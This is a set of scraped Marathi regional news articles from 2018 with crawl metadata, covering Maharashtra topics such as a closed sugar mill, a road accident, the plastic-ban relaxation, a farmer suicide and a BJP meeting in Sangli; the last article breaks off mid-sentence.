तपास यंत्रणांची धावपळ\nचांदवडला सापडलेला शस्त्रसाठा उत्तर प्रदेशचाच\nरुपयाच्या विडीचा धूर पडला शंभर रुपयांना\nज्येष्ठ रंगभूषाकार नारायण देशपांडेंचे निधन\n१४ क्विंटल कांदा चोरला\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00266.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Nashik/Sugarcane-growers-problem/", "date_download": "2018-09-25T16:51:26Z", "digest": "sha1:6ZGSNUBALGCMHPS4QEZ53UC7MG53YYXH", "length": 9080, "nlines": 54, "source_domain": "www.pudhari.news", "title": " ऊस उत्पादकांची अवस्था सहनही होईना, सांगताही येईना! | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Nashik › ऊस उत्पादकांची अवस्था सहनही होईना, सांगताही येईना\nऊस उत्पादकांची अवस्था सहनही होईना, सांगताही येईना\nसायखेडा : दीपक पाटील\nनिफाड सहकारी साखर कारखाना गत पाच-सहा वर्षार्ंपासून बंद असून, 2017-18 च्या गळीत हंगामातही चालू न झाल्याने तालुक्याबरोबरच ऊस उत्पादनात अग्रेसर असलेल्या गोदाकाठच्या शेतकर्‍यांची आर्थिक ओढाताण होत ‘रासाका’चेही घोंगडे भिजत असून, तालुक्यात एकमेव सुरू असलेल्या केजीएस कारखान्याची गाळप क्षमता कमी असल्याने, ऊस तोडला जाईल का पेमेंट वेळेवर होईल का पेमेंट वेळेवर होईल का आदी प्रश्‍नांनी उत्पादकांना घेरल्याने त्यांची अवस्था ‘सहनही होईना, अन् सांगताही येईना’ अशी झाली आहे.\nगोदाकाठ भागात बारमाही वाहणार्‍या गोदावरीच्या पुण्याईने शेती पिके जोमात फुलू लागली आहेत. इतर पिकांबरोबरच कमी खर्चिक (तत्कालीन) असलेले ऊस हे प्रमुख पीक झाले. शिखरावर पोहोचलेल्या निफाड तालुक्यातील सहकारी साखर कारखाने सहकाराला राजकारणाच्या लागलेल्या वाळवीने बंद पडले. पूर्वी कारखाने ऊस मिळविण्यासाठी शेतकर्‍यांचे उंबरे झिजवत. मात्र, आता परिस्थिती उलटी झाली आहे. त्यामुळे गोदाकाठ भागातील उत्पादकांची अवस्था बिकट झाली आहे.\nमध्यंतरी ऊस उत्पादक अन्य पिकांकडे वळाले. मात्र, पिकवलेल्या मालाला योग्य भाव मिळत नसल्याने पुन्हा ऊस क्षेत्राकडे वळाले. सध्या तालुक्यात शेकडो हेक्टर ऊस तोडणीसाठी तयार आहे. गहू, कांदे, हरभरा, भाजीपाला आदी पिकांसाठी ऊस क्षेत्र लवकर खाली करण्यासाठी ऊसतोड मिळावी यासाठी ऊसतोडणी मजुरांना पैसे, पार्टी देत तोडणी केली जात असूनही निम्मे नुकसान होत आहे.\nनिफाड तालुक्याची एकेकाळची अर्थवाहिनी तसेच जिल्ह्याबरोबरच राज्यात आपले अधिराज्य गाजवणारा, सुवर्णपदकाला गवसणी घालणारा, लाखोंचा पोशिंदा, निफाडची आन-बान-शान असलेला निफाड सहकारी साखर कारखाना चार-पाच वर्षांपासून बंद आहे. ड्रायपोर्टच्या माध्यमातून ‘निसाका’ची चाके फिरणार असल्याच्या शक्यतेने ऊस उत्पादकांच्या आशा पल्लवित झाल्या असल्या तरी सद्यस्थितीला तोड मिळत नसल्याने उभ्या असलेल्या उसाचे पाचट होत आहे.\nकाय होतास तू, काय झालास तू..\n‘निसाका’वर कर्जाचा मोठा डोंगर उभा राहिला अन् शेवटी निसाकाची धगधग थांबली. या अगोदर निसाका चालू ठेवण्यासाठी गोदाकाठ भागातील शेतकर्‍यांनी मिळेल त्या दराने निसाकाला ऊस दिला. पण, आता मात्र त्यावेळी निसाकाला ऊस न देता इतर कारखान्याला ऊस देणार्‍यांना प्राधान्य दिले जात आहे. ‘निसाका’ सुरू ठेवण्यासाठी झळ सोसणार्‍यांना कोणी वाली राहिला नसल्याने, तसेच दुसर्‍या पिकांसाठी ऊसक्षेत्र खाली करणे गरजेचे असल्याने पैसे, पार्टी देऊन तोडणी केली जात असून, ‘निसाका’ची आठवण ऊस उत्पादकांना येत आहे.\nदिंडोरीत दोन महिन्यांत मोठा उद्योग येणार\nदेशातील तीन मुद्रणालये गांधीनगर प्रेसमध्ये विलीन\nप्रसूतीसाठी आलेल्या महिलेकडे मनपा रुग्णालयाचे पुन्हा दुर्लक्ष\nराज्यात विस्तार व माध्यम अधिकार्‍यांची ५० पदे रिक्‍त\nविवाहाच्या दोन वर्षांनंतरही मिळेना अनुदान\nप्लास्टिक पिशव्या वापरणार्‍या आठ जणांना ४३ हजारांचा दंड\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00266.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Satara/pune-benglore-highway-accident-one-death-malkapur/", "date_download": "2018-09-25T17:46:55Z", "digest": "sha1:NHK6SY7V5KUAWSXLZIREOUAKV4LQ4XYB", "length": 3419, "nlines": 34, "source_domain": "www.pudhari.news", "title": " कराड : दुचाकींच्या धडकेत एक ठार, तीन जखमी | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Satara › कराड : दुचाकींच्या धडकेत एक ठार, तीन जखमी\nकराड : दुचाकींच्या धडकेत एक ठार, तीन जखमी\nपुणे-बंगळूरू राष्ट्रीय महामार्गाच्या सर्व्हिस रस्त्यावर मलकापूर गावच्या हद्दीत दोन दुचाकींची समोरासमोर धडक होऊन अपघात झाला. या अपघातात एक ठार तर तीन जखमी झाले आहेत. जखमींपैकी एकजण गंभीर असून जखमींवर रुग्णालयात उपचार सुरु आहेत. मंगळवार दि. ३० रोजी रात्री 11.30 वाजता हा अपघात झाला.\nपांडुरंग तुकाराम कणसे (वय ४१, रा. जखिणवाडी, ता. कराड) असे अपघातात ठार झालेल्याचे नाव आहे, तर स्वप्निल प्रकाश कणसे यांच्यासह आणखी दोनजण जखमी आहेत.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00266.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "http://pclive7.com/%E0%A4%95%E0%A4%BF%E0%A4%B0%E0%A4%BE%E0%A4%A3%E0%A4%BE-%E0%A4%B5%E0%A4%B8%E0%A5%8D%E0%A4%A4%E0%A5%82%E0%A4%82%E0%A4%9A%E0%A5%8D%E0%A4%AF%E0%A4%BE-%E0%A4%95%E0%A4%BF%E0%A4%B0%E0%A4%95%E0%A5%8B%E0%A4%B3/", "date_download": "2018-09-25T18:00:32Z", "digest": "sha1:AUGT4UYYM353TVWBIW655JAPABDSC2BL", "length": 8551, "nlines": 72, "source_domain": "pclive7.com", "title": "किराणा वस्तूंच्या किरकोळ पॅकिंगवरील प्लास्टिक बंदी उठवली; पर्यावरणमंत्री रामदास कदम यांची घोषणा | PCLIVE7.com – Pimpri Chinchwad News, Pune News Live.", "raw_content": "\nपिंपरी चिंचवड शहराचा बुधवारी विस्कळीत व कमी दाबाने पाणीपुरवठा\n१५ दिवसांत शास्तीकर भरा अन् ९० टक्के सवलत मिळवा; स्थायी समितीचा निर्णय\n६० वर्षीय महिलेचा स्वाईन फ्लूने मृत्यू; पिंपरी चिंचवडमधील २३ वा बळी\nपिंपरीतील फुल बाजाराच्या स्थलांतरावर शिक्कामोर्तब\n‘स्वराज्यरक्षक संभाजी’ या मालिकेतील कलावंतांशी शनिवारी चिंचवडला मुक्त संवाद\nमहापालिका मुख्यालयात वैद्यकीय कक्ष सुरू करा; विरोधी पक्षनेते दत्ता साने यांची मागणी\nवायसीएमच्या दारातच रूग्णाची ‘हेळसांड’, अर्धातासाच्या प्रतिक्षेनंतर उपचार सुरू\nनाना काटे सोशल फाऊंडेशनच्या मूर्तीदान उपक्रमाला उस्फूर्त प्रतिसाद; १२ हजार ३०० मूर्तींचे केले संकलन\nढोल ताशांच्या गजराज उन्न’ती’च्या गणपतीचे विसर्जन\nधक्कादायक : हिंजवडीतील अत्याचार प्रकरणी आणखी दोघांना अटक\nHome ताज्या घडामोडी किराणा वस्तूंच्या किरकोळ पॅकिंगवरील प्लास्टिक बंदी उठवली; पर्यावरणमंत्री रामदास कदम यांची घोषणा\nकिराणा वस्तूंच्या किरकोळ पॅकिंगवरील प्लास्टिक बंदी उठवली; पर्यावरणमंत्री रामदास कदम यांची घोषणा\nमुंबई (Pclive7.com):- किराणा दुकानातील पॅकेजिंगवरची बंदी उद्यापासून उठवण्यात येणार असल्याची घोषणा पर्यावरणमंत्री रामदास कदम यांनी केली आहे. या निर्णयामुळे किरकोळ दुकानदारांना मोठा दिलासा मिळाला आहे. मसाला, साखर, तांदूळ, तेल आदी वस्तूंच्या विक्रीसाठी किरकोळ पॅकेजिंगवरची बंदी उठवण्यात आली आहे.\nमोठ्या उत्पादकांना आपले उत्पादन प्लास्टिक पॅकिंगमध्ये सवलत देण्यात आल्यानंतर आता किराणा दुकानातील प्लास्टिक पॅकिंगलाही सूट देण्यात आली असल्याची घोषणा पर्यावरणमंत्री रामदास कदम यांनी केली आहे. पाव किलो पेक्षा अधिक वजनाचा माल पॅकिंग करण्यासाठी ही सूट असणार आहे. हे प्लास्टिक पुन्हा रस्त्यावर येणार नाही त्याचे रिसायकलिंग केले जाईल याची काळजी दुकानदारांना घ्यावी लागणार आहे.\nकिराणा दुकानदारांच्या शिष्टमंडळाने प्लास्टिक पॅकिंगसाठी सूट मिळावी म्हणून शिवसेना नेते युवा सेनाप्रमुख आदित्य ठाकरे यांची भेट घेतली. प्लास्टिक पॅकिंग बाबतच्या या प्रस्तावाबाबत आदित्य ठाकरे यांच्या उपस्थितीत पर्यावरणमंत्री रामदास कदम यांच्यासह मंत्रालयात बैठक झाली. या बैठकीत किरणा दुकानांवरील प्लास्टिक पॅकिंगसाठी असलेली बंदी उठविण्याचा निर्णय घेण्यात आला. मुख्यमंत्री देवेंद्र फडणवीस यांनीही या निर्णयावर शिक्कामोर्तब केले असल्याचे पर्यावरणमंत्री कदम यांनी सांगितले.\nपाव किलो वरील किराणा मालाच्या पॅकिंगसाठी असलेली प्लास्टिक बंदी मागे घेण्याचा निर्णय घेण्यात आली असला तरी हे प्लास्टिक परत घेण्याची जबाबदारी संबंधित दुकानदारांची असणार आहे. हे प्लास्टिक रस्त्यावर येणार नाही याची काळजी संबंधित दुकानदारांना घ्यावी लागणार आहे.\nसभा तहकूबीचा ‘राष्ट्रीय विक्रम’ करणा-या महापौरांचा मुख्यमंत्र्यांनी सत्कार करावा – संजोग वाघेरे पाटील\nपिंपरी महापालिका सभेत २५८ कोटींच्या वर्गीकरणास मंजुरी\nधक्कादायक : हिंजवडीतील अत्याचार प्रकरणी आणखी दोघांना अटक\nपिंपरी चिंचवडमधल्या तरूणाने गॅरेजमध्ये तयार केले चक्क ‘हेलिकॉप्टर’\nमोदींचं कौशल्य छत्रपती शिवरायांप्रमाणे – योगी आदित्यनाथ\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00267.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "http://www.pudhari.news/news/Aurangabad/Teachers-employees-salaries-stopped/", "date_download": "2018-09-25T17:52:30Z", "digest": "sha1:3CTO575BLX25F5ETBARTR3CQBBWHIKGB", "length": 5479, "nlines": 35, "source_domain": "www.pudhari.news", "title": " शिक्षक, कर्मचार्‍यांचे वेतन वादामुळे रखडले | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Aurangabad › शिक्षक, कर्मचार्‍यांचे वेतन वादामुळे रखडले\nशिक्षक, कर्मचार्‍यांचे वेतन वादामुळे रखडले\nसमाजकल्याण विभाग आणि विद्यापीठाच्या वादात सामाजिक कार्य महाविद्यालयातील शिक्षक आणि शिक्षकेतर कर्मचार्‍यांचे वेतन रखडले आहे. महाविद्यालयाच्या प्राचार्य हेमलता कुलकर्णी सेवानिवृत्त झाल्या आहेत. त्यामुळे त्यांनी पाठविलेले वेतन देयक स्वीकारता येणार नाही, असा पवित्रा समाजकल्याणने घेतला असून कुलगुरू अथवा कुलसचिवांच्या स्वाक्षरीने सुधारित वेतन देयक सादर करावे, असे विद्यापीठाला कळविले आहे.\nकुलगुरुंना पाठविलेल्या पत्रात सहायक समाजकल्याण आयुक्‍तांनी म्हटले आहे की, प्राचार्य कुलकर्णी डिसेंबर 2017 मध्ये निवृत्त झाल्यामुळे सेवार्थ प्रणालीतून त्यांचे नाव वगळण्यात आले आहे. ही बाब विद्यापीठाला कळविलेली आहे. महाविद्यालय विद्यापीठाकडे हस्तांतरित करण्याबाबतच्या शासन निर्णयातही महाविद्यालयाला सामाजिक न्याय विभागाचे शासन निर्णय लागू राहतील, असे स्पष्ट म्हटलेले आहे. त्यामुळे कुलकर्णी यांच्या जानेवारीपासूनच्या वेतनाची जबाबदारी या कार्यालयाकडे नाही. विद्यापीठ प्रशासनाने त्यांना सेवामुक्‍त करायला हवे. कुलकर्णी यांना प्राचार्य म्हणून पत्रव्यवहार करण्याचा अधिकार नाही. असे असताना त्या प्राचार्य म्हणून पत्रव्यवहार करीत आहेत. विद्यापीठाने एक तर त्यांच्या मुदतवाढीबाबत सामाजिक न्याय विभागाचा शासन निर्णय असेल तर तो सादर करावा किंवा त्यांना सेवामुक्‍त करावे.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00267.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Aurangabad/farmer-suicide-in-aurngabad/", "date_download": "2018-09-25T17:20:28Z", "digest": "sha1:Q5DACKAAQKC2B3IFP43SSCHWKUADJBS3", "length": 4736, "nlines": 49, "source_domain": "www.pudhari.news", "title": " बोंडआळी नुकसानग्रस्त शेतकऱ्याची आत्महत्या | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Aurangabad › बोंडआळी नुकसानग्रस्त शेतकऱ्याची आत्महत्या\nबोंडआळी नुकसानग्रस्त शेतकऱ्याची आत्महत्या\nबोंडआळी नुकसानग्रस्त शेतकऱ्याने विषारी औषध सेवन करून आत्महत्या केली आहे. पंढरीनाथ नारायण भवरे (वय, 30 रा. खामंखेडा ता. औरंगाबाद) असे आत्‍महत्‍या केलेल्‍या शेतकऱ्याचे नाव आहे.\nभवरे यांच्यावर बँक ऑफ बडोदा (शाखा गणोरी) चे पीक कर्ज होते. त्‍यांना एकूण चार एकर शेती होती आहे, त्यापैकी अडीच एकर शेतीमध्ये कापूस लावला होता. त्‍याच्यावर मोठ्या प्रमाणात बोंड आळीचा प्रादुर्भाव झाला होता. त्‍यामुळे सर्व कापूस पिकाचे नुकसान झाले. कापूस पिक वाया गेल्‍यामुळे बँकेचे कर्ज फेडता येणार नाही. या चिंतेने भवरे यांनी गुरुवारी रात्री १० वाजेच्या सुमारास शेतीमध्ये विषारी औषध सेवन करून आत्महत्या केली.\nबोंडआळी नुकसानग्रस्त शेतकऱ्याची आत्महत्या\nनवविवाहित जोडप्यांना यंदा अधिकमासाची पर्वणी\nतर्राट झाल्यानंतर गाव म्हणते;\nऔरंगाबाद : आंतरराष्ट्रीय देहव्यापाराचा पर्दाफाश\nबीबी का मकबरा वक्फ मालमत्ता जाहीर करा\nपोलिसांनो... लोका सांगे ब्रह्मज्ञान नको\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00267.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "http://www.pudhari.news/news/Konkan/Passenger-s-death-in-Mangala-Express/", "date_download": "2018-09-25T17:54:01Z", "digest": "sha1:EEJ22PK6OT4XJ6ETL2QBEUO55K4EIITM", "length": 4012, "nlines": 34, "source_domain": "www.pudhari.news", "title": " मंगला एक्स्प्रेसमध्ये प्रवाशाचा मृत्यू | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Konkan › मंगला एक्स्प्रेसमध्ये प्रवाशाचा मृत्यू\nमंगला एक्स्प्रेसमध्ये प्रवाशाचा मृत्यू\nचिपळूण : खास प्रतिनिधी\nमंगला एक्स्प्रेसमधून प्रवास करणार्‍या एका प्रवाशाचा मृत्यू झाला आहे. लक्ष्मणदास गुप्ता (वय 65, रा. आग्रा, उत्तर प्रदेश) असे त्यांचे नाव आहे. पार्वती लक्ष्मणदास गुप्ता आणि पती लक्ष्मणदास हे गोव्याहून दिल्लीला चालले होते. कोकण रेल्वे मार्गावरील प्रवासादरम्यान मंगला एक्स्प्रेस रत्नागिरी येथे आली असता पती लक्ष्मणदास हे पत्नीला सांगून झोपले होते. ही गाडी चिपळूण स्थानकाजवळ आली असता ते उठले नाहीत म्हणून पत्नीने त्यांना उठविण्याचा प्रयत्न केला. मात्र, त्यांनी कोणताही प्रतिसाद दिला नाही. यानंतर त्यांना तत्काळ चिपळूण रेल्वे स्थानकाच्या रुग्णालयात दाखल करण्यात आले. यावेळी तेथील डॉ. मदार यांनी त्यांना ते मृत झाल्याचे घोषित केले.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00267.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Pune/Will-Facebook-Live-Be-the-Proper-Media/", "date_download": "2018-09-25T17:11:22Z", "digest": "sha1:DBKVFY4C3NW5JRWEMUXBB7F2IF4O2NKK", "length": 9244, "nlines": 38, "source_domain": "www.pudhari.news", "title": " फेसबुक लाईव्ह ठरेल उचित माध्यम? | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Pune › फेसबुक लाईव्ह ठरेल उचित माध्यम\nफेसबुक लाईव्ह ठरेल उचित माध्यम\nपुणे मंडई : सुनील जगताप\nपुणे कृषी उत्पन्न बाजार समितीचे आवार मोठे असून, त्यामध्ये समस्याही दिवसेंदिवस वाढत चाललेल्या आहेत. या समस्या सोडवित असताना विविध घटकांची मिळणारी साथ, अधिकार्‍यांची कार्यक्षमता आणि निर्णय घेताना लागणारी कठोरता या सर्वांचाच मेळ बसणे गरजेचे असते. बाजार आवारात असणार्‍या समस्या सोडविण्यासाठी बाजार समितीने आणखी एक पाऊल टाकत ‘फेसबुक लाईव्ह’ उपक्रम सुरू केला आहे. सर्व सामान्य शेतकरी आणि ग्राहकांचे प्रश्‍न मार्गी लावण्यासाठी हा उपक्रम आगामी काळात कितपत उचित ठरेल हा मोठा प्रश्‍न आहे.\nपुणे जिल्ह्यासह आशिया खंडात सर्वात मोठी बाजारपेठ म्हणून पुणे कृषी उत्पन्न बाजार समितीकडे पाहिले जाते. या बाजार समितीवर शासन नियुक्त प्रशासकीय मंडळ कार्यरत असून, डिसेंबरमध्ये सहा महिन्यांची पुन्हा मुदतवाढ मिळालेली आहे. या बाजार समितीमध्ये काम करीत असतानाही आधुनिकतेची कास पकडत शेतकर्‍यांसाठी हायटेक सोयी-सुविधा पुरविण्याकडे प्रशासकीय मंडळाचा कल दिसून येतो. हीच हायटेक उपक्रमाची कास धरत बाजार समितीचे सभापती दिलीप खैरे हे कृषी उत्पन्न बाजार समितीच्या नवीन आराखड्याबाबत माहिती देणार असून, त्याबाबत काही सूचना असतील तर त्या विचारात घेतल्या जाणार आहेत. बाजार समितीच्या प्रशासकीय मंडळाने यापूर्वीच मुख्य बाजार आवाराच्या नूतनीकरणाचा प्रस्ताव शासनाकडे पाठविलेला आहे. त्याला सहकार व पणनमंत्री सुभाष देशमुख यांची मान्यता दिसत असून, सध्या बाजारातील विविध घटकांशी चर्चा सुरू आहे. या नवीन प्रस्तावित बाजाराबाबतही या फेसबुक लाईव्हमध्ये चर्चा करण्यात येणार आहे.\nअशा प्रकारचा सोशल मीडियातून संवाद साधण्याचा पुणे कृषी उत्पन्न बाजार समितीचा प्रथमच उपक्रम असल्याचा दावाही बाजार समितीच्या सभापतींनी केला आहे. वास्तविक पाहता सोशल मीडियाची कास पकडणार्‍या केंद्राने पायाभूत सुविधांकडे ज्या प्रमाणात दुर्लक्ष केल्याची तक्रार केली जात आहे. त्याच धर्तीवर आता बाजार समितीनेही सोशल मीडियाची कास पकडल्याचे दिसून येत आहे. हा उपक्रम स्तुत्य असला तरी पायाभुत सुविधा पुरविणे प्रशासकीय अधिकार्‍यांचेही काम आहे. परंतु, प्रशासनाच्या पातळीवर अशा प्रकारची कामे होताना दिसून येत नाही. त्यामुळे एका बाजूला बाजार समितीचे पदाधिकारी बाजार आवार सुधारण्यासाठी ज्या प्रमाणात धडपड करीत आहेत, त्या प्रमाणात मात्र अधिकार्‍यांची साथ मिळत नसल्याचे चित्र बाजारात दिसून येते.\nसमितीच्या प्रशासकीय मंडळाने काढलेला आदेश पाळण्यासही काही अधिकारी टाळाटाळ करीत आहेत. त्यामुळे अशा प्रकारच्या हायटेक प्रचाराला अधिकार्‍यांकडून कितपत साथ मिळेल, हा प्रश्‍नही महत्त्वाचा आहे. गेल्या आठवड्यात फेसबुक लाईव्ह उपक्रमात तीन हजार नागरिकांनी पाहिले असून काही जण त्यावर सक्रियही झाले असल्याची माहिती सभापती दिलीप खैरे यांनी दिली आहे.\nवास्तविक पाहता अशा प्रकारच्या फेसबुक लाईव्हच्या माध्यमातून बाजारातील इतर घटकांचे समाधान होईल का, सोशल मीडियातून मिळालेल्या सूचनांचे पालन अधिकारी वर्ग करेल आदी अनेक प्रश्‍न यानिमित्ताने उपस्थित होत असून, आगामी काळात त्याचे परिणामही दिसून येतील.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00267.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Sangli/Meeting-of-BJP-State-Executive-in-Sangli-in-May/", "date_download": "2018-09-25T16:58:02Z", "digest": "sha1:5N2RHJO36GMCQ76JGTJ44KUYW36PY7SZ", "length": 7115, "nlines": 37, "source_domain": "www.pudhari.news", "title": " सांगली येथे मेमध्ये भाजप राज्य कार्यकारिणीची बैठक | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Sangli › सांगली येथे मेमध्ये भाजप राज्य कार्यकारिणीची बैठक\nसांगली येथे मेमध्ये भाजप राज्य कार्यकारिणीची बैठक\nभाजपच्या राज्य कार्यकारिणीची बैठक मेच्या दुसर्‍या आठवड्यात सांगलीत होत आहे. त्यानिमित्ताने पक्षाध्यक्ष अमित शहा, मुख्यमंत्री देवेंद्र फडणवीस यांच्यासह राज्य आणि केंद्रातील अनेक मंत्री, राज्यातील सर्व आमदार, खासदार, प्रमुख पदाधिकारी सांगलीत येणार आहेत. वास्तविक महापालिका निवडणूक जूनअखेर होत असून, त्याचे बिगुल वाजले आहे. भाजपने मिशन महापालिका टार्गेट ठेवले आहे. त्यामुळे या बैठकीच्या निमित्ताने वातावरण निर्मितीसोबतच भाजप महापालिकेसाठी ताकदही लावणार, हे उघड आहे.\nजिल्ह्यासह पश्‍चिम महाराष्ट्रात भाजपचा बोलबाला आहे. अर्थात काँग्रेस-राष्ट्रवादीतील पदाधिकारी, कार्यकर्त्यांच्या इनकमिंगवर हा डोलारा असला तरी गेल्या चार वर्षांत भाजपने जिल्ह्यात मोठी बांधणी केली आहे. खासदार, चार आमदारांबरोबरच याच जोरावर जिल्हा परिषद, पंचायत समित्या, सर्वाधिक ग्रामपंचायतीही ताब्यात घेतल्या आहेत. आता भाजपचे सांगली, मिरज आणि महापालिका टार्गेट आहे. येत्या जूनअखेर महापालिका निवडणूक असल्याने त्यासंदर्भात मोर्चेबांधणीही सुरू आहे. या महापालिका निवडणुकीवर पुढे लोकसभा आणि विधानसभा निवडणुकांचेही भवितव्य अवलंबून राहणार आहे. त्यामुळे भाजपने पूर्ण ताकदीने महापालिका जिंकण्याची तयारी केली आहे. त्याची जबाबदारी महसूलमंत्री 